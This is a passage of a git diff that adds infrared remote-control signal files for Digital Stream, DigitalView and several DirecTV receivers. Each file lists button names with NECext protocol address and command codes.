Stream/Unknown_Stream/18,52.ir new file mode 100644 index 000000000..0d34384b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 00 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 01 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 02 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 03 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 04 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 08 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 19 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 1B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 1D 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 1E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 1F 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 20 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 22 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 23 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 24 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 28 00 00 00 +# +name: Meter +type: parsed +protocol: NECext +address: 12 34 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir new file mode 100644 index 000000000..6e66d6a1d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: SCAN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 00 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 09 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0A 00 00 00 +# +name: N7 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: N10 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0D 00 00 00 +# +name: SBS +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0E 00 00 00 +# +name: N9 +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 0F 00 00 00 +# +name: ABC +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 10 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 12 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 13 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 14 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 18 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 19 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1A 00 00 00 +# +name: ASP +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1B 00 00 00 +# +name: CC/TT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1C 00 00 00 +# +name: RD/TV +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1D 00 00 00 +# +name: NXT_ALT +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 1E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 80 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir new file mode 100644 index 000000000..f37df7213 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREV_CH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: FFORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: COLOR-RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: COLOR-YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: COLOR-GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: COLOR-BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir new file mode 100644 index 000000000..8067f9a8e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: CLEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: GO_BACK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 53 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 59 00 00 00 +# +name: FETCH +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 93 00 00 00 +# +name: ARROW_OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir new file mode 100644 index 000000000..6a9c4e691 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: C-UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: C-DWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: C-LF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: C-RT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: SQUARE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: ARROW_AROUND_TO_RT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: ARROW_AROUND_TO_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir new file mode 100644 index 000000000..86da963b0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir @@ -0,0 +1,434 @@ +Filetype: IR signals file +Version: 1 +# +name: DIRECTV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: DIRECTV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 0F 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: JUMP_/_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: JUMP_/_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER_/_LAST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: ENTER_/_LAST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: RATIO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 45 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 45 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir new file mode 100644 index 000000000..65b83392c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: PREV._CH. +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: 